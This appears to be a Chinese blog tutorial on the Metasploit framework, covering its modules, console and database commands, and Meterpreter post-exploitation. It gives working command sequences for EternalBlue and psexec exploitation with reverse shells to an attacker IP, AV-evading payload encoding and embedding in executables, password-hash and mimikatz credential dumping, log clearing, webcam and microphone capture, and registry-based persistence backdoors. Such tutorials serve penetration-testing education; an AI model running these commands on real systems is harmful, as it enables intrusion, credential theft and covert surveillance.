Kali Linux渗透测试——MSF基础篇

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

Metasploit是目前最流行、最强大、最具扩展性的渗透测试平台,一定程度上统一了渗透测试和漏洞研究的工作环境,使得新的攻击代码比较容易加入框架。Metasploit更新速度非常快,几乎每周都会有版本更新,所以2014年之后市场上没有再出现新的Metasploit教材。

一、MSF基本介绍

1.版本区分

在这里插入图片描述

图1 Metasploit 版本
2.MSF架构

Rex :操作系统级基本库,是MSF的底层依赖

MFS::Core :MSF底层库

MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)

MSF::UI :用户界面(最常用MSF console接口)
MSF架构图

图2 MSF架构图

二、MSF基本使用

1.功能模块

功能模块

图3 msf功能模块

MSF主目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。

modules中的模块主要包括:

exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads

payloads:成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads,分别为:

  • singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用
  • stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages)
  • stages:利用stagers建立连接后,后续再传输的代码

auxiliary:没有payload的exploits模块,一般在信息收集阶段使用

encoders:对payloads进行加密,躲避AV检查的模块

post:取得shell后,进一步运行的攻击指令(运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行)

在这里插入图片描述

图4 search命令使用
2.基本命令
msfconsole   #启动MSF console界面

msfupdate    #msf版本更新

help/?       #打印当下窗口的帮助文档

help command/command --help #打印command命令的帮助文档

connect      #可以看成是msfconsole界面下的nc工具

edit         #编辑模块的ruby文件,与用vim编辑相同

show         #查看命令,可以看当前环境下的exploits、auxiliary、payloads等模块,其中Rank表示不同模块的评级(成功率和使用难易程度的重要参考),

             #最常使用的是`show options`命令,表示当前上下文环境中的选项内容,`show missing`可以查看当前有哪些必须的配置没有设置

show advanced #一些不常用的高级选项,不会在`show options`中显示

search       #搜索关键词内容对应的模块,如搜索ms10_046漏洞模块:
             #注意搜索出的内容所在基本目录为`/usr/share/metasploit-framework/modules/`,除此之外search还可以添加一些筛选条件,如name、path、type等

info         #当前模块的基本信息

use          #使用不同的模块文件

set/unset    #设置变量/取消变量设置

setg/unsetg  #设置全局变量/取消全局变量设置,只会设置当前msf运行环境中的变量,退出msf后设置就复位

save         #将设置保存到/root/.msf4/config,msf启动时会读取该文件,这样重新启动msf后设置依然保留

back         #从模块上下文退回到msfconsole初始目录

run/exploit  #运行漏洞模块

sessions     #可以看见当前已经建立的攻击连接,利用`sessions -i id`命令进入指定连接

jobs         #查看后台运行的模块

load/unload  #连接插件,如load openvas,然后会出现相应的openvas命令,使用时需要用openvas_connect连接外部扫描器

loadpath     #调用自己编写的功能模块

route        #向session指定路由

resource     #调用rc文件的命令并执行,以方便直接取得session
3.数据库命令

(1)数据库管理所用的命令为msfdb命令:

msfdb init
msfdb reinit
msfdb delete
msfdb start
msfdb stop

(2)在msfconsole中数据库管理命包括:

db_connect
db_disconnect
db_status         #查看数据库状态,有无连接
db_nmap           #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache  #建立模块文件的缓存,使search搜索速度更快        
db_remove
db_export         #导出备份信息
db_import         #导入备份信息,备份为xml文件

其中db_nmap在nmap功能基础上,将搜索的数据存入数据库,便于后续查询。

三、MSF模块使用

(一)Exploit模块

分为两类,Active exploit和Passive exploit,具体区别如下:

Active exploit,攻击目标开放了某个端口服务,攻击者利用exploit传输payload,使攻击目标反弹shell (reverse_tcp),或者在指定端口运行shell (bind_tcp)再接入攻击者侦听的端口,也就是说攻击者主动发起攻击,一般去攻击服务器端程序,也是最常用的。

注意reverse_tcp是攻击目标主动反弹shell,容易绕过FW封堵,而bind_tcp是在指定的端口运行shell再弹回,容易被FW墙掉。

注:常见漏洞

1.ms08_067_netapi:通过MSRPC over SMB通道调用Server服务程序中的函数时触发,影响大部分Windows XP和Server 2003系统。

2.ms17_010_eternalblue:永恒之蓝漏洞,在Windows的SMB服务处理请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码,它影响的范围包括Win7和Sever 2008 R2的所有版本系统,这也是目前在内网渗透中最常用最好用的漏洞,没有之一。

eg1:以永恒之蓝漏洞利用
use auxiliary/acanner/smb/smb_ms17_010  #进行漏洞分析,看445端口能否被入侵
set RHOSTS 10.10.11.122
run        #如果结果中出现`Host is likely VULNERABLE to MS17-010`,则说明主机很可能有永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.11.122
set payload windows/meterpreter/reverse_tcp
run        #随后可以看到进入了meterpreter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QFcEjJBM-1577779357480)(scanner ms17_010.JPG "scan")]

图5 永恒之蓝漏洞利用
eg2:(前提知道攻击目标的账户名和密码)
use exploit/windows/smb/psexec
set RHOSTS 10.10.11.122
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
run

Passive exploit,利用客户端程序的漏洞,客户端向存在exploit的服务端发送请求,返回的漏洞利用代码使得客户端可以反弹shell (reverse_tcp)或者反向建立连接(bind_tcp)连入攻击者,也就是说攻击者诱使攻击目标连接服务程序,通过返回的代码完成攻击,一般去攻击客户端程序。

eg:(利用攻击目标浏览器的漏洞,诱使攻击目标用浏览器访问攻击者设置的目录文件)
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /   #诱使攻击目标访问的目录
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run             #exploit成功后只是伪造了一个有漏洞利用代码的站点,等待攻击目标连接
(二)Payload/Encoder模块

Payload是在攻击目标主机中真正执行的代码,它不仅可以用exploit模块加载,而且也可以作为独立的个体,通过诱使攻击目标运行而发动攻击。

Payload模块可以用generate命令修改代码:

generate         #把Payload代码以16进制格式输出
generate -b 'xx' #除去Payload中的坏字符'xx',除去的过程是重新编码,MSF会选择最佳的Encoder方式
generate -i 5 -x 'yyy.exe' -f 'xyyy.exe' #对Payload加密5轮,将Payload附加在yyy.exe程序中,生成新的程序命名为xyyy.exe
                                         #这样xyyy.exe在目标主机上执行时,yyy.exe功能不发生变化,而Payload会被执行
generate -s 10   #在Payload前生成10个nop字节(nop:EIP返回到存储nop sled的任意地址时将递增,最终导致shellcode执行)
generate -t c    #生成c语言格式的Payload

四、Meterpreter

(一)Meterpreter简介
  • 一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。

  • 完全基于内存的DLL注入式payload(不写硬盘),不会在日志文件中留下痕迹,会注入合法进程并建立stager,隐蔽性非常好。可以基于stager上传和预加载DLL进行扩展模块的注入,可以基于stager建立的socket连接建立加密的TLS通信隧道

  • 服务端使用C语言编写

  • 客户端提供基于Ruby的全特性API(支持其他语言,但功能可能受限)

(二)Meterpreter常用命令
backround        #退回msfconsole界面,同样适用于msf界面进入的普通shell的退回操作。若是从shell中进入的,退回shell则用exit

help             #查看可用命令,等同于?

pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能

edit             #Meterpreter界面下的vi

lpwd             #显示当前主机的工作目录(pwd是目标主机的工作目录)

lcd              #当前主机目录的切换

run/bgrun        #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大

clearev          #清除目标主机的系统日志

download/upload  #下载/上传文件(注意表示windows的目录要用\\)

execute -i -H -m -f xx.exe -a “-o file.dump” #执行xx程序
                 #-i表示与该程序进行交互,-H表示将窗口隐藏执行
                 #-m表示直接在内存中执行,-a后的内容为xx.exe的参数

getuid           #查看当前登录的账号

getprivs         #查看当前具有的权限

load priv        #加载priv插件

getsystem        #加载priv后,提权变为系统账号

getpid           #meterpreter注入的进程号,用ps命令查看具体进程

migrate          #迁移meterpreter注入的进程,一般将session迁移到系统进程,如exploer

hashdump或者run post/windows/gather/hashdump   #从SAM数据库中导出本地用户账号
	             #注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等
	             #相关信息都会保存在这个文件中,类似于unix系统中的passwd文件

sysinfo          #获取系统信息

kill             #杀死进程

shell            #反弹shell

show_mount       #显示分区

search           #搜索文件

netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令

idletime         #查看计算机的空闲时间

resource         #连接一个外部文件并执行,文件中一般是要执行的命令

record_mic       #开启麦克风

webcam_list      #列出电脑上开启的摄像头

webcam_snap -i 1 -v false #每隔1秒钟进行拍照

---------新版本msf命令有所变化,下边用-->标明-----------
--------------更多命令可以用help或?查看-----------------

load mimikatz  -->  load kiwi  #在获取系统权限的条件下,加载mimikatz模块

#load mimikatz success之后可以运行以下命令获取明文或hash密码
msv       -->  creds_msv

tspkg     -->  creds_tspkg

wdigest   -->  creds_wdigest

kerberos  -->  creds_kerberos

mimikatz_command -f samdump::hashes  -->  kiwi_cmd lsadump::sam

mimikatz_command -f sekurlsa::searchPasswords  -->  kiwi_cmd sekurlsa::logonPasswords

(2020.07更新)
拿下shell后要尽快植入持久化后门,以免断连或目标主机打补丁后失去shell,Meterpreter提供两种控制持久化的方式,一种是通过服务启动(metsvc),另一种是通过启动项(persistence),简要介绍如下:

1.metsvc: 在目标主机上开启一个服务,用于等待攻击接入,命令简单,执行方便,但是端口容易被网上小黑扫到,任何人都可以接入,安全性差,在meterpreter执行命令为:

run metsvc

2.persistence: 在目标主机上主动反弹连接远程主机,容易绕过防火墙,存活率高,安全性强,注意参数设置正确,在meterpreter执行命令为:

run persistence -h        #查看参数帮助信息

run -P windows/x64/meterpreter/reverse_tcp -U -i 30 -p 8899 -r 10.10.11.103
# -P:设置Payload,默认为windows/meterpreter/reverse_tcp
# -U:设置后门在用户登录后自启动,该方式会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加信息
# -i:设置反向连接心跳时间,单位s
# -p:反向连接端口
# -r:反向连接IP

(三)Meterpreter python扩展

无需运行环境,在攻击目标中直接运行原生python代码

load python           #加载python插件
python_execute 'xxx'  #运行python语句
python_import         #导入python脚本文件

五、Msfcli

Msfcli是Metasploit提供的一种命令行接口,在使用时用一句命令完成所有动作,由msfconsole -x进入,使用cli接口的目的主要是编写脚本时便于引用,如:

msfconsole -x 'use exploit/windows/smb/ms08_067+netapi;
set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST 1.1.1.6;set LPORT 5555;set target 34;exploit'
  • 11
    点赞
  • 108
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Kali Linux是一种专门用于渗透测试和网络安全的操作系统。它集成了大量的渗透测试工具和资源,使得安全专业人员能够有效地评估和保护网络系统的安全性。 Kali Linux提供了多种渗透测试靶机,用于练习和测试渗透测试技术。这些靶机模拟了真实世界中的各种漏洞和攻击场景,帮助安全专业人员熟悉和理解不同类型的漏洞,并学习如何利用它们。 以下是一些常见的Kali Linux渗透测试靶机: 1. Metasploitable:Metasploitable是一个故意构建的易受攻击的虚拟机,它包含了多个漏洞和弱点,可以用于学习和实践Metasploit框架的使用。 2. DVWA(Damn Vulnerable Web Application):DVWA是一个故意构建的Web应用程序,包含了多个常见的Web漏洞,如SQL注入、XSS等,可以用于学习和实践Web应用程序渗透测试技术。 3. OWASP Mutillidae II:Mutillidae II是一个故意构建的Web应用程序,旨在模拟真实世界中的各种Web漏洞和攻击场景,包括SQL注入、文件包含等。 4. Hack The Box:Hack The Box是一个在线平台,提供了一系列的渗透测试靶机,每个靶机都有不同的漏洞和挑战,可以用于测试和提高渗透测试技能。 这些渗透测试靶机都可以在Kali Linux上进行安装和使用。通过实践和探索这些靶机,安全专业人员可以提高他们的渗透测试技能,并了解如何保护网络系统免受各种攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值